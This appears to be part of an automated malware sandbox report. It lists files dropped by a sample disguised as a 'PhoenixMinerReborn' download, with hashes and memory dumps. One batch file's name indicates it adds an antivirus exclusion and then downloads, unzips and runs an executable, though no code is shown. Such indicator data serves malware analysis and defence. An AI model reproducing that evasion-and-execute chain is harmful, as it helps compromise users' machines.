C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
0629525c94f6548880f5f3a67846755e

SHA1
40ef667fc04bb1c0ae4bf2c17ded88594f0f4423

SHA256
812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee

SHA512
f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\438452ee-1f81-4dec-ab1c-67cf89df5ab7.tmp

Filesize
5KB

MD5
3ff3a5b1f177044bf663c4c5caaf4a77

SHA1
543a7c26fa88856f515c158cce56e47d93fc4e0e

SHA256
00f69b35ac76178805cb7940e5bd1e3704b110d9a8e15ac373140ebfbbd71c36

SHA512
99ea2d951546ae00fd9033b3cbb313629063f0aae3614f3ad7d43a5c5d05d5453ac6b6b105c197308ea6ecff38140a9f4f7fcb69e8cf941ecd3396f5afe1dcf9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
265B

MD5
f5cd008cf465804d0e6f39a8d81f9a2d

SHA1
6b2907356472ed4a719e5675cc08969f30adc855

SHA256
fcea95cc39dc6c2a925f5aed739dbedaa405ee4ce127f535fcf1c751b2b8fb5d

SHA512
dc97034546a4c94bdaa6f644b5cfd1e477209de9a03a5b02a360c254a406c1d647d6f90860f385e27387b35631c41f0886cb543ede9116436941b9af6cd3285d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
14b307e9e9abbc30beddf88221da33ef

SHA1
1a85748ca21e411cc4808e8bdf08dfc9a1eeee07

SHA256
abdf6b7d8839f4df89d35de93928343aa03472d7deaf7754d0c0faf9c9b2e979

SHA512
a80e6a994536b3be92f431655d575e24563cbf829a70ab816e844aa46c4830101dc715dde5c04f17f03714dd96844a27a87573685b00e1bad5fb694fbfc7ece7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
7eb2d2a1e3397bb2b41feda2df46deba

SHA1
91db6c531a5b6fba33232200cf89129703b3549a

SHA256
6fb3e11b4f32018c968d4cef174cbe52ba1eb794594a94a7bc5ffca44623b4d0

SHA512
925453d90724b6ea125b953cd50d6c2a86ec030f6dd59407935e6dc10e4853931682b981395379fd1edf393c840582de3af4211f46b90b238807f771a5280530

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
fd20981c7184673929dfcab50885629b

SHA1
14c2437aad662b119689008273844bac535f946c

SHA256
28b7a1e7b492fff3e5268a6cd480721f211ceb6f2f999f3698b3b8cbd304bb22

SHA512
b99520bbca4d2b39f8bedb59944ad97714a3c9b8a87393719f1cbc40ed63c5834979f49346d31072c4d354c612ab4db9bf7f16e7c15d6802c9ea507d8c46af75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
3KB

MD5
f46760f0a1dc4354e0b13b04190cdd69

SHA1
937001af27d9cd3b84493fc29a7158942b76f9d3

SHA256
6e9a1cdec8d3b4d766284ba26b5302f1b5394e9e8c28192d87a3bad9fd528e60

SHA512
a7db3c553f750662093d4da1adad34726684c3fe8da03a979ec542679f91c27ef77bd7a1a039d6b8104995b4f7095b7acb16854ce8524d7d71349154e39f4dc2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
71bca62a4cc8380c44dd161aac1f5388

SHA1
d97eeec3d863f293e63819b06ad0640014a5c13e

SHA256
d0cad05541c4afda31d8f448f46cd561b910b2c8a6f2acbc2bacfb6c64139196

SHA512
fc812b29322df88af43ce9d1e507d8c8ab419f6a2df409b2136e4db7ba47c73405ae8863b5c9bdc193f174396374cd112a25d9f357c60915d71d0d6c5e453f84

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AddToExclusionAndDwldAndUnzipAdnRunExe.bat

Filesize
363B

MD5
c9ce4e455ce0fa7ca0ac42a7f1aa621c

SHA1
1db98d4d257b50456d8598dbe8767b126207028e

SHA256
601362087eecaee781989dad55ea6683a889b29c501b8acfa369a19ffd5bc0e0

SHA512
b33428d5bd7d48ef1182a2c664883e2a0fac0341007068fcbe60f09cc0f62b213ec00fca2351ec761414af1fbf91307b1b2d8663382185142ab4086dd99aad8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\PhoenixMinerReborn.exe

Filesize
141.2MB

MD5
dbe6a173c19ff1cc5251283209102df4

SHA1
8932f1f86a2f099ce07ad3ff06c14fd2684b7d5e

SHA256
83cc38478ce3dcd1702e34ba1e8f66fe614b679d1c784a6ab0317f94230f38c6

SHA512
614df689102654d8c50d4cdc962bb62ebbbac07b7c3e5fdb937f34ae2e12026bfb7b81a613f7ad4f12427409e6dc598258fad13c11ccf8b0f0cb340895eb549b

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\PhoenixMinerReborn.exe

Filesize
141.2MB

MD5
dbe6a173c19ff1cc5251283209102df4

SHA1
8932f1f86a2f099ce07ad3ff06c14fd2684b7d5e

SHA256
83cc38478ce3dcd1702e34ba1e8f66fe614b679d1c784a6ab0317f94230f38c6

SHA512
614df689102654d8c50d4cdc962bb62ebbbac07b7c3e5fdb937f34ae2e12026bfb7b81a613f7ad4f12427409e6dc598258fad13c11ccf8b0f0cb340895eb549b

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest.zip

Filesize
10.1MB

MD5
dc1663033d3c7d840def33656520a3e7

SHA1
caee1f76f20686ce572b9fa4ae379bfb870dd0b7

SHA256
cfd60b87f9c631b87fda61cc1cff8b260dcfa1f16bc37caf832ae4cbe3121295

SHA512
0d2efcd99043f696f86d4589802b0e5e51921fc521e5a2c2190cddb50fd403581b9470623e96c8c1cbdd53dba83060e2f26e9af5c4fe3518c6cc5bddcd1c48b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest\everyonelatest.exe

Filesize
10.1MB

MD5
8ba7d6ca687121a2b9aa311a1fda47a1

SHA1
5820b319cf575b982793c462aa839198e1e36e30

SHA256
2d541445efc6af98f4426af7b7233d5298560c907820b50b587f4f18153d34d7

SHA512
6fcb45ce7c492a8e36a2416088ee8cac234990fb0897e698e535a1fa6348fb871398f7c4d6a53c9cb859eec6cf5e3a62f3573c42637fcb1e1615ec9c26396c9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest\everyonelatest.exe

Filesize
10.1MB

MD5
8ba7d6ca687121a2b9aa311a1fda47a1

SHA1
5820b319cf575b982793c462aa839198e1e36e30

SHA256
2d541445efc6af98f4426af7b7233d5298560c907820b50b587f4f18153d34d7

SHA512
6fcb45ce7c492a8e36a2416088ee8cac234990fb0897e698e535a1fa6348fb871398f7c4d6a53c9cb859eec6cf5e3a62f3573c42637fcb1e1615ec9c26396c9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest\everyonelatest.exe

Filesize
10.1MB

MD5
8ba7d6ca687121a2b9aa311a1fda47a1

SHA1
5820b319cf575b982793c462aa839198e1e36e30

SHA256
2d541445efc6af98f4426af7b7233d5298560c907820b50b587f4f18153d34d7

SHA512
6fcb45ce7c492a8e36a2416088ee8cac234990fb0897e698e535a1fa6348fb871398f7c4d6a53c9cb859eec6cf5e3a62f3573c42637fcb1e1615ec9c26396c9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vhrm1wo.wwo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\PhoenixMinerReborn.zip

Filesize
44.9MB

MD5
3d9de9b68b83ff59d382bdec703e997a

SHA1
37b03e2893e29c611058e035132593d762fcf0da

SHA256
34867ea00697c5a4b2ca27fe4a91677bee00ed5f4a4c3702e33fdb30bba77ac6

SHA512
c66c22e60417207d96bbc98a164a5cd3d5dfb1d6c738e726043c0c28a1d16ac1c0971e9c06019ccb4cb20e3ecd804f2fd4fe02d5b18bce1e8b5e55d25c1c11eb

Download Submit
memory/3348-271-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/3348-235-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/3348-238-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/3348-240-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/3348-241-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/5324-186-0x000002512DEC0000-0x000002512DED0000-memory.dmp

Filesize
64KB

Download
memory/5324-185-0x000002512DEC0000-0x000002512DED0000-memory.dmp

Filesize
64KB

Download
memory/5324-197-0x000002512DEC0000-0x000002512DED0000-memory.dmp

Filesize
64KB

Download
memory/5324-196-0x00007FFDDD1A0000-0x00007FFDDDC61000-memory.dmp

Filesize
10.8MB

Download
memory/5324-200-0x00007FFDDD1A0000-0x00007FFDDDC61000-memory.dmp

Filesize
10.8MB

Download
memory/5676-216-0x000000000AA71000-0x000000000AA73000-memory.dmp

Filesize
8KB

Download
memory/5700-212-0x00000000058E0000-0x00000000058F0000-memory.dmp

Filesize
64KB

Download
memory/5700-218-0x0000000006B10000-0x0000000006B4E000-memory.dmp

Filesize
248KB

Download
memory/5700-234-0x0000000007310000-0x00000000078B4000-memory.dmp

Filesize
5.6MB

Download
memory/5700-231-0x00000000058E0000-0x00000000058F0000-memory.dmp

Filesize
64KB

Download
memory/5700-230-0x0000000074B00000-0x00000000752B0000-memory.dmp

Filesize
7.7MB

Download
memory/5700-229-0x0000000006CB0000-0x0000000006CFC000-memory.dmp

Filesize
304KB

Download
memory/5700-219-0x0000000006C70000-0x0000000006CAE000-memory.dmp

Filesize
248KB

Download
memory/5700-239-0x0000000074B00000-0x00000000752B0000-memory.dmp

Filesize
7.7MB

Download
memory/5700-217-0x0000000006A40000-0x0000000006A98000-memory.dmp

Filesize
352KB

Download
memory/5700-206-0x0000000074B00000-0x00000000752B0000-memory.dmp

Filesize
7.7MB

Download
memory/5700-207-0x0000000000520000-0x0000000000F3C000-memory.dmp

Filesize
10.1MB

Download
memory/5984-211-0x00007FFDDD1A0000-0x00007FFDDDC61000-memory.dmp

Filesize
10.8MB

Download
memory/5984-183-0x00007FFDDD1A0000-0x00007FFDDDC61000-memory.dmp

Filesize
10.8MB

Download
memory/5984-177-0x000001DC5CB90000-0x000001DC5CBB2000-memory.dmp

Filesize
136KB

Download